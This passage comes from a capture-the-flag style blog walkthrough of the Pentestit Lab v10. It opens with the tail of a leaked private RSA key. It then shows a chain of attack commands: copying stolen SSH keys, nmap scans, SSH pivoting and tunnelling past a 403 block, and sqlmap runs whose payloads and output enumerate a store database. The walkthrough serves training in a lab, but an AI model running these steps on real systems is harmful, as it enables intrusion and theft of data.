6PSl1zdk0ZXPCQdFn5BRVozwP/DR5hO+b7TjCM2T7xjtz8NFN+flZZZvbwvUD9Bk
OKFqCxYeQ6B3eD07DSVkN285wx5KIZw7pGGpnT810rzLLMSdZtj3xlmUDeNkzGA1
0fSqZnb8NS3r08t3GNXNKqNCWjXhs3LTCYjGJAvaE+TU8mtcjsO3fsKosTPAMMcO
tthMmHG+bs2rafbtEKb+v5fqFHQCPhl195YKjkekpT287ro1Q+rFZ2Jeb8Vo6Ska
D+HNMMECgYEA7AoZnLgESe1xDcGhyxc5+Buj8tfChJ8RpWakF+d0tOy3+9WqvYfP
LkG0DadqroPMT+HLP08XEHbRvAhXHEymatFCdzTfpNGshh644rWwk/yoWE0ZxYvj
hjp6VNJLLFMuTsKFstHe0O5o/5DNzTnBuG75XFdFoX46XDZUvHQKISkCgYEA0mtG
HaMu7MswmXSqgPoWs2O77xGeF84U1N0YtrUVTG5orvTmIkZZyoiumdiDCMMTCdVE
i6dqAdBa3yHmoxFjPxwulO3Vu1hfDp/3twNBs9X7MwOLbvUecJCBzV2KdoQc/Aad
4p+JpI67CLanrW3WFnE6bdMq4QXB3otH/1NxB/8CgYAmmFAvy/cHj4eY1Dx8VMPp
ybs5DgaEYO4luW7DadkvbDV5PCq66uX5jky+ns1W074ooab2JxyCWKtar5Ju0imz
9ZuEmmSnMpGfLI7WoxbIW9u69IBuSL1fSViPXgNksAU2Y6Aw6Rgh2ZnZj/fWwsbm
PV8QtkRwb49jXI7mcaLmYQKBgDSdFCwm+H3HFMDaNiQH5JM4de6CRjiHlBfhrONK
hifVV6GfpMefNaZ55MadJ66SMHl99STCWLRZZ89xR50wpNNL9a3RhmbQ4vviLet6
CfywnZ4U3dGBwvm8eGhkYlHeGO0/rkzTPXSDJ+s22Nh5pVV5PHXnnkojyWUfCIKk
V5f7AoGBANsLGPBhn1J6QwbnNEFfjSaTL2nOlB7iPbHrYKJGD9eJ9IUrI4woX2eb
s732ZAAXmdD3cTg+7biIh0hEADNVfXETfX62i1NMkejIQKIcexXGMor/eSlDXSXZ
6UtA5CE4sH4lqKdenEgiGHs6yZbLC7XC6KIIlhw2xi6OZtKM4Efy
-----END RSA PRIVATE KEY-----

Ohh this is juicy! We got a Private SSH Key!

We might need these for future exploitation purposes, so we need to save them!

e.lindsey@tl10-ssh:/var/tmp$ cat /data/users/a.modlin/docs/key > a.modlin.key
e.lindsey@tl10-ssh:/var/tmp$ cat /data/users/rross/docs/keys > rross.key

Finding the SSH Token:

From our script, we see that rross had the key file hidden away in his directory!

/data/users/rross/
 [+] Directory Found /data/users/rross/docs
 [+] File Found /data/users/rross/docs/token.txt
 [+] File Found /data/users/rross/docs/keys
 [+] Directory Found /data/users/rross/tmp

So let’s just cat that, and we will have compromised the SSH Token!

Token (3/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the GW Machine via SSH to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (4/13) – The SSH-Test Token!

Pentestit Lab v10 – SSH-Test Token (4/13)

In my previous post “Pentestit Lab v10 – SSH Token (3/13)”, we leveraged newly found credentials for SSH Access on the gw machine, enumerated files and directories with a custom python script, extracted private data – such as private SSH Keys – and finally found our third token. Today we will leveraging the compromised gw machine to access the internal network and compromise the SSH-Test machine – which will include the following:

  • Fingerprinting the SSH-Test Machine
  • Pivoting into the SSH-Test Machine
  • Finding the SSH-Test Token

Fingerprinting the SSH-Test Machine:

Since we were able to compromise the gw machine with e.lindsey’s credentials, let’s see if we can access any of the other machines – specifically the SSH-Test Machine!

If you forgot where the SSH-Test machine is located, then just consult our Network Map.

e.lindsey@tl10-ssh:/var/tmp$ ping 172.16.0.1
PING 172.16.0.1 (172.16.0.1) 56(84) bytes of data.
64 bytes from 172.16.0.1: icmp_req=1 ttl=64 time=0.916 ms
64 bytes from 172.16.0.1: icmp_req=2 ttl=64 time=0.488 ms
64 bytes from 172.16.0.1: icmp_req=3 ttl=64 time=0.564 ms
64 bytes from 172.16.0.1: icmp_req=4 ttl=64 time=0.508 ms
^C
--- 172.16.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 0.488/0.619/0.916/0.173 ms

So we are able to successfully ping the machine and verify that it’s up and running. Our next steps would be to try and fingerprint the SSH-Test machine.

Unfortunately we don’t have any of our tools – but before we do anything – let’s check if the gw machine by any chance has Nmap installed.

e.lindsey@tl10-ssh:/var/tmp$ which nmap
/usr/bin/nmap

Awesome! Since we have Nmap installed on our compromised machine, we don’t have to do anything apart from just running the commands!

Thus, let’s run a Service Scan using the -sV option to check what ports/services are up and running on the SSH-Test Machine.

e.lindsey@tl10-ssh:/var/tmp$ nmap -sV -n -p- 172.16.0.1

Starting Nmap 6.00 ( http://nmap.org ) at 2017-01-25 06:16 MSK
Nmap scan report for 172.16.0.1
Host is up (0.0010s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE VERSION
25149/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds

Pivoting into the SSH-Test Machine:

After our initial Nmap scan, we can see that there is only one custom SSH Port running.

I attempted to connect to the SSH Port with e.lindsey’s credentials, but for some reason I kept getting denied.

At this point I wondered if e.lindsey has any permissions on the SSH-Test machine – and its completely possible that she doesn’t!

Let’s think back for a minute…. Do you remember the Private SSH Keys that we were able to compromise from the gw machine? What? NO?! Then go back and read my previous post “Pentestit Lab v10 – SSH Token (3/13)”!

But if you do, good job!

I decided to try a.modlin’s private key and attempted an SSH connection to port 25419.

e.lindsey@tl10-ssh:/var/tmp$ ssh -i a.modlin.key a.modlin@172.16.0.1 -p 25149
ssh: connect to host 172.16.0.1 port 25149: Connection refused

Connection refused? What…. Maybe it’s the wrong port? Let’s run an Nmap scan to verify!

e.lindsey@tl10-ssh:/var/tmp$ nmap -sV -n -p- 172.16.0.1

Starting Nmap 6.00 ( http://nmap.org ) at 2017-01-25 06:16 MSK
Nmap scan report for 172.16.0.1
Host is up (0.00072s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE VERSION
12957/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.15 seconds

Well that’s odd! It seems that the SSH port just changed from 25149 to 12957…. Maybe I should try connecting again?

e.lindsey@tl10-ssh:/var/tmp$ ssh -i a.modlin.key a.modlin@172.16.0.1 -p 12957
ssh: connect to host 172.16.0.1 port 12957: Connection refused

Failed again?! Did the port change again?

e.lindsey@tl10-ssh:/var/tmp$ nmap -sV -n -p- 172.16.0.1

Starting Nmap 6.00 ( http://nmap.org ) at 2017-01-25 06:22 MSK
Nmap scan report for 172.16.0.1
Host is up (0.0019s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE VERSION
8629/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.24 seconds

Port 8629 now? This machine is leading me on a while goose chase! Maybe this is the correct port, so let’s give it another shot.

e.lindsey@tl10-ssh:/var/tmp$ ssh -i a.modlin.key a.modlin@172.16.0.1 -p 8629
Could not create directory '/home/e.lindsey/.ssh'.
The authenticity of host '[172.16.0.1]:8629 ([172.16.0.1]:8629)' can't be established.
ECDSA key fingerprint is 2c:58:fd:06:ea:46:8e:f7:b5:28:58:58:06:fa:dc:38.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/e.lindsey/.ssh/known_hosts).
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'a.modlin.key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
bad permissions: ignore key: a.modlin.key
Permission denied (publickey).

Oh, alright! It works! But it seems that our private key has too much permissions, so let’s change those permissions and try again.

e.lindsey@tl10-ssh:/var/tmp$ chmod 600 a.modlin.key 
e.lindsey@tl10-ssh:/var/tmp$ ssh -i a.modlin.key a.modlin@172.16.0.1 -p 8629
ssh: connect to host 172.16.0.1 port 8629: Connection refused

OH COME ON! What is this?! Fine… one more time!

e.lindsey@tl10-ssh:/var/tmp$ nmap -sV -n -p- 172.16.0.1

Starting Nmap 6.00 ( http://nmap.org ) at 2017-01-25 06:25 MSK
Nmap scan report for 172.16.0.1
Host is up (0.0019s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE VERSION
26763/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.41 seconds

Again a new port… how surprising….

e.lindsey@tl10-ssh:/var/tmp$ ssh -i a.modlin.key a.modlin@172.16.0.1 -p 26763
Could not create directory '/home/e.lindsey/.ssh'.
The authenticity of host '[172.16.0.1]:26763 ([172.16.0.1]:26763)' can't be established.
ECDSA key fingerprint is 2c:58:fd:06:ea:46:8e:f7:b5:28:58:58:06:fa:dc:38.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/e.lindsey/.ssh/known_hosts).
Linux tl10-test-ssh 3.2.0-4-amd64 #1 SMP Debian 3.2.81-2 x86_64
Last login: Sun Nov 27 13:06:42 2016 from 172.16.0.8
a.modlin@tl10-test-ssh:~$ 

Finally! We got into the machine. At this point, let start some reconnaissance and find the key!

Finding the SSH-Test Token:

Since we are in the SSH-Test machine, let see what we have in our current present working directory.

a.modlin@tl10-test-ssh:~$ ls
token.txt

Wow… that was really convenient!

At this point I wondered if there was an easier method of compromising the machine since the SSH port kept changing, I was pretty lucky to be able to find a working port – otherwise it could have taken me ages.

If you already figured out what the method was for making it easier… good job! If you didn’t…. then that’s okay, just think back to the first Mail token that we compromised.

When we found a.modlin’s credentials from our SMTP brute force, we came across this email.

Unfortunately, I completely forgot about this app and the email! If I remembered it, then finding the port would have been pretty easy!

If you guys want, go ahead and try compromising the SSH-Test machine using this app – I won’t be doing a write up about it, so consider it as a learning experience!

But, this just goes to show – when pentesting – take good notes, and never leave any stone unturned, also always thoroughly look through a machine after compromising it to find valuable information that can help you in the future.

Token (4/13):

Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!

You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to compromise the SSH-Test Machine via SSH to get the token!

You learn by doing, so go through this walkthrough, and the lab – and learn something new!

That’s all for now, stay tuned for my next post as we compromise Token (5/13) – The Store Token!

Pentestit Lab v10 – Store Token (5/13)

In my previous post “Pentestit Lab v10 – SSH-Test Token (4/13)”, we utilized the compromised gw machine to pivot into the internal network, used previously compromised private SSH Keys to gain access the SSH-Test Machine, and found our fourth token. Today we will be taking a step back and attacking the main Store – which will include the following:

  • Mapping Application Attack Surface
  • Utilizing SSH Tunneling for Access Bypass
  • Exploiting a Blind SQL Injection
  • Find the Site Token

Mapping Application Attack Surface:

After I successfully compromised the SSH-Test machine, and was sure that I was able to access the internal network – I decided to take a step back and go back to the main GDS Store website on the gw machine to see if I haven’t missed anything.

If you read my Mail Token post, then you will remember that I already went through the store website and found nothing viable – which led me to attack the blog.

While digging through the site, I came across their product pages and quickly noticed the product_id parameter in the URL.

Just like the Blog, I attempted to inject an apostrophe to see if a SQL Inject was viable.

Unfortunately after injecting the apostrophe, I am presented with a 403 error – Forbidden.

At this point I remember that there was a dev-store machine on the network. Is it possible for me to bypass this 403 error by somehow utilizing the dev-store machine?

From here, I went ahead and ran an Nmap scan from the gw machine on 172.16.0.5 to see what open ports/services are running.

Nmap scan report for 172.16.0.5
Host is up (0.0010s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
80/tcp open  http    nginx 1.2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.44 seconds

After initial review of the Nmap scan, I saw that SSH was open on TCP/22 and knew that I could attempt to bypass the 403 error.

Utilizing SSH Tunneling for Access Bypass:

You might be wondering – how on earth would connecting to SSH help us bypass the 403 error?

It’s actually quite simple… we will be using a technique called SSH Tunneling.

Simply – a tunneling protocol allows a network user to access or provide a network service that the underlying network does not support or provide directly.

A Secure Shell (SSH) tunnel consists of an encrypted tunnel created through an SSH protocol connection. SSH tunnels provide a means to bypass firewalls that prohibit certain Internet services – so long as a site allows outgoing connections.

For example, an organization may prohibit a user from accessing the Internet directly without passing through the organization’s proxy filter. If users can connect to an external SSH server, they can create an SSH tunnel to forward a given port on their local machine to port 80 on a remote web server. To access the remote web server, users would point their browser to a local port on their localhost. This way, they can bypass the proxy and access the internet.

This is exactly what we will be doing here. We will be creating an SSH tunnel on port 8080 from 192.168.101.9 to port 80 on 172.16.0.5. This will allow us to then set up a proxy listener on our localhost and should allow us privileged access to the store.

So let’s start by setting up our tunnel.

root@kali:~# ssh -L 8080:172.16.0.5:80 e.lindsey@192.168.101.9
e.lindsey@192.168.101.9's password: 
Linux tl10-ssh 3.2.0-4-amd64 #1 SMP Debian 3.2.82-1 x86_64
Last login: Wed Jan 25 06:39:06 2017 from 10.10.197.130

Once we got our tunnel up and running, let’s configure our web browsers proxy and point it to port 8080.

Now that we have our proxy running via the SSH Tunnel, let’s attempt that SQL Injection again!

And just like that, we are able to bypass the 403 – Forbidden error and we can see the SQL Error!

Exploiting a Blind SQL Injection:

Since this seems like a Blind SQL Injection, I will be utilizing sqlmap for the exploitation of this vulnerability.

Now before we start, just remember… since we are running via an SSH Tunnel, we will have to connect to port 8080 via localhost to be able to reach the dev-store and exploit it from there. Otherwise, if we attack 192.168.101.9, then sqlmap will fail due to the 403 error.

Looking back at the SQL error, it seems that the backend database is running MySQL. Thus, let’s configure sqlmap and see if we can’t exploit the sql inject.

root@kali:~/gds# sqlmap -u "http://localhost:8080/index.php?route=product/product&product_id=53" -p product_id --dbms=MySQL
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.0.12#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:47:23

[21:47:23] [INFO] testing connection to the target URL
[21:47:23] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[21:47:24] [WARNING] reflective value(s) found and filtering out
[21:47:24] [INFO] testing if the target URL is stable
[21:47:24] [INFO] target URL is stable
[21:47:25] [INFO] heuristics detected web page charset 'ascii'
[21:47:25] [INFO] heuristic (basic) test shows that GET parameter 'product_id' might be injectable (possible DBMS: 'MySQL')
[21:47:25] [INFO] testing for SQL injection on GET parameter 'product_id'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
[21:47:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:48:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[21:48:10] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[21:48:29] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)'
[21:48:39] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[21:48:41] [INFO] GET parameter 'product_id' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string="eu")
[21:48:41] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[21:48:41] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)'
[21:48:42] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[21:48:42] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP)'
[21:48:42] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[21:48:42] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING clause (JSON_KEYS)'
[21:48:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:48:43] [INFO] GET parameter 'product_id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[21:48:43] [INFO] testing 'MySQL inline queries'
[21:48:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[21:48:43] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:48:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[21:48:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[21:48:43] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[21:48:44] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[21:48:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[21:49:05] [INFO] GET parameter 'product_id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[21:49:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:49:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:49:05] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:49:06] [INFO] target URL appears to have 3 columns in query
[21:49:07] [INFO] GET parameter 'product_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'product_id' is vulnerable. Do you want to keep testing the others
sqlmap identified the following injection point(s) with a total of 250 HTTP(s) requests:
---
Parameter: product_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: route=product/product&product_id=53 RLIKE (SELECT (CASE WHEN (7914=7914) THEN 53 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: route=product/product&product_id=53 AND (SELECT 8445 FROM(SELECT COUNT(*),CONCAT(0x717a707671,(SELECT (ELT(8445=8445,1))),0x716a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: route=product/product&product_id=53 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: route=product/product&product_id=53 UNION ALL SELECT NULL,NULL,CONCAT(0x717a707671,0x725662454c43554b68684f43466171746e51794c4a6d677568725856746f66754654414a6e635452,0x716a626a71)-- FTqd
---
[21:49:17] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.45, Nginx
back-end DBMS: MySQL >= 5.0
[21:49:17] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 82 times
[21:49:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

[*] shutting down at 21:49:17

Awesome! The SSH Tunnel is working and sqlmap verified that the product_id parameter is indeed vulnerable to a blind sql inject.

Now that we know the Store is vulnerable, let’s use the --dbs option to enumerate DBMS databases.

root@kali:~/gds# sqlmap -u "http://localhost:8080/index.php?route=product/product&product_id=53" -p product_id --dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.0.12#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:50:58

[21:50:58] [INFO] resuming back-end DBMS 'mysql' 
[21:50:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: product_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: route=product/product&product_id=53 RLIKE (SELECT (CASE WHEN (7914=7914) THEN 53 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: route=product/product&product_id=53 AND (SELECT 8445 FROM(SELECT COUNT(*),CONCAT(0x717a707671,(SELECT (ELT(8445=8445,1))),0x716a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: route=product/product&product_id=53 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: route=product/product&product_id=53 UNION ALL SELECT NULL,NULL,CONCAT(0x717a707671,0x725662454c43554b68684f43466171746e51794c4a6d677568725856746f66754654414a6e635452,0x716a626a71)-- FTqd
---
[21:50:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.45, Nginx
back-end DBMS: MySQL >= 5.0
[21:50:58] [INFO] fetching database names
[21:50:58] [WARNING] reflective value(s) found and filtering out
[21:50:58] [INFO] the SQL query used returns 2 entries
[21:50:59] [INFO] retrieved: information_schema
[21:50:59] [INFO] retrieved: testlab
available databases [2]:                                                       
[*] information_schema
[*] testlab

[21:50:59] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

[*] shutting down at 21:50:59

Alright, so now we know that the database name is called testlab. Let’s continue on and enumerate the tables in the testlab database using the --tables option, and the -D option to set the database name.

root@kali:~/gds# sqlmap -u "http://localhost:8080/index.php?route=product/product&product_id=53" -p product_id -D testlab --tables
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.0.12#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:52:13

[21:52:14] [INFO] resuming back-end DBMS 'mysql' 
[21:52:14] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: product_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: route=product/product&product_id=53 RLIKE (SELECT (CASE WHEN (7914=7914) THEN 53 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: route=product/product&product_id=53 AND (SELECT 8445 FROM(SELECT COUNT(*),CONCAT(0x717a707671,(SELECT (ELT(8445=8445,1))),0x716a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: route=product/product&product_id=53 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: route=product/product&product_id=53 UNION ALL SELECT NULL,NULL,CONCAT(0x717a707671,0x725662454c43554b68684f43466171746e51794c4a6d677568725856746f66754654414a6e635452,0x716a626a71)-- FTqd
---
[21:52:14] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.45, Nginx
back-end DBMS: MySQL >= 5.0
[21:52:14] [INFO] fetching tables for database: 'testlab'
[21:52:14] [WARNING] reflective value(s) found and filtering out
[21:52:14] [INFO] the SQL query used returns 133 entries
[21:52:15] [INFO] retrieved: oc_address
[21:52:15] [INFO] retrieved: oc_affiliate
[21:52:15] [INFO] retrieved: oc_affiliate_activity
[21:52:16] [INFO] retrieved: oc_affiliate_login
[21:52:16] [INFO] retrieved: oc_affiliate_transaction
[21:52:16] [INFO] retrieved: oc_api
[21:52:16] [INFO] retrieved: oc_api_ip
[21:52:17] [INFO] retrieved: oc_api_session
[21:52:17] [INFO] retrieved: oc_attribute
[21:52:17] [INFO] retrieved: oc_attribute_description
[21:52:17] [INFO] retrieved: oc_attribute_group
[21:52:18] [INFO] retrieved: oc_attribute_group_description
[21:52:18] [INFO] retrieved: oc_banner
[21:52:18] [INFO] retrieved: oc_banner_image
[21:52:18] [INFO] retrieved: oc_cart
[21:52:19] [INFO] retrieved: oc_category
[21:52:19] [INFO] retrieved: oc_category_description
[21:52:19] [INFO] retrieved: oc_category_filter
[21:52:20] [INFO] retrieved: oc_category_path
[21:52:20] [INFO] retrieved: oc_category_to_layout
[21:52:20] [INFO] retrieved: oc_category_to_store
[21:52:20] [INFO] retrieved: oc_country
[21:52:21] [INFO] retrieved: oc_coupon
[21:52:21] [INFO] retrieved: oc_coupon_category
[21:52:21] [INFO] retrieved: oc_coupon_history
[21:52:21] [INFO] retrieved: oc_coupon_product
[21:52:22] [INFO] retrieved: oc_currency
[21:52:22] [INFO] retrieved: oc_custom_field
[21:52:22] [INFO] retrieved: oc_custom_field_customer_group
[21:52:23] [INFO] retrieved: oc_custom_field_description
[21:52:23] [INFO] retrieved: oc_custom_field_value
[21:52:23] [INFO] retrieved: oc_custom_field_value_description
[21:52:23] [INFO] retrieved: oc_customer
[21:52:24] [INFO] retrieved: oc_customer_activity
[21:52:24] [INFO] retrieved: oc_customer_group
[21:52:24] [INFO] retrieved: oc_customer_group_description
[21:52:24] [INFO] retrieved: oc_customer_history
[21:52:25] [INFO] retrieved: oc_customer_ip
[21:52:25] [INFO] retrieved: oc_customer_login
[21:52:25] [INFO] retrieved: oc_customer_online
[21:52:26] [INFO] retrieved: oc_customer_reward
[21:52:26] [INFO] retrieved: oc_customer_search
[21:52:26] [INFO] retrieved: oc_customer_transaction
[21:52:26] [INFO] retrieved: oc_customer_wishlist
[21:52:27] [INFO] retrieved: oc_download
[21:52:27] [INFO] retrieved: oc_download_description
[21:52:27] [INFO] retrieved: oc_download_stats
[21:52:27] [INFO] retrieved: oc_event
[21:52:28] [INFO] retrieved: oc_extension
[21:52:28] [INFO] retrieved: oc_filter
[21:52:28] [INFO] retrieved: oc_filter_description
[21:52:29] [INFO] retrieved: oc_filter_group
[21:52:29] [INFO] retrieved: oc_filter_group_description
[21:52:29] [INFO] retrieved: oc_geo_zone
[21:52:29] [INFO] retrieved: oc_information
[21:52:30] [INFO] retrieved: oc_information_description
[21:52:30] [INFO] retrieved: oc_information_to_layout
[21:52:30] [INFO] retrieved: oc_information_to_store
[21:52:30] [INFO] retrieved: oc_language
[21:52:31] [INFO] retrieved: oc_layout
[21:52:31] [INFO] retrieved: oc_layout_module
[21:52:31] [INFO] retrieved: oc_layout_route
[21:52:32] [INFO] retrieved: oc_length_class
[21:52:32] [INFO] retrieved: oc_length_class_description
[21:52:32] [INFO] retrieved: oc_location
[21:52:32] [INFO] retrieved: oc_manufacturer
[21:52:33] [INFO] retrieved: oc_manufacturer_to_store
[21:52:33] [INFO] retrieved: oc_marketing
[21:52:33] [INFO] retrieved: oc_menu
[21:52:33] [INFO] retrieved: oc_menu_description
[21:52:34] [INFO] retrieved: oc_menu_module
[21:52:34] [INFO] retrieved: oc_modification
[21:52:34] [INFO] retrieved: oc_module
[21:52:35] [INFO] retrieved: oc_option
[21:52:35] [INFO] retrieved: oc_option_description
[21:52:35] [INFO] retrieved: oc_option_value
[21:52:35] [INFO] retrieved: oc_option_value_description
[21:52:36] [INFO] retrieved: oc_order
[21:52:36] [INFO] retrieved: oc_order_custom_field
[21:52:36] [INFO] retrieved: oc_order_history
[21:52:36] [INFO] retrieved: oc_order_option
[21:52:37] [INFO] retrieved: oc_order_product
[21:52:37] [INFO] retrieved: oc_order_recurring
[21:52:37] [INFO] retrieved: oc_order_recurring_transaction
[21:52:37] [INFO] retrieved: oc_order_status
[21:52:38] [INFO] retrieved: oc_order_total
[21:52:38] [INFO] retrieved: oc_order_voucher
[21:52:38] [INFO] retrieved: oc_product
[21:52:39] [INFO] retrieved: oc_product_attribute
[21:52:39] [INFO] retrieved: oc_product_description
[21:52:39] [INFO] retrieved: oc_product_discount
[21:52:39] [INFO] retrieved: oc_product_filter
[21:52:40] [INFO] retrieved: oc_product_image
[21:52:40] [INFO] retrieved: oc_product_option
[21:52:40] [INFO] retrieved: oc_product_option_value
[21:52:40] [INFO] retrieved: oc_product_recurring
[21:52:41] [INFO] retrieved: oc_product_related
[21:52:41] [INFO] retrieved: oc_product_reward
[21:52:41] [INFO] retrieved: oc_product_special
[21:52:41] [INFO] retrieved: oc_product_to_category
[21:52:42] [INFO] retrieved: oc_product_to_download
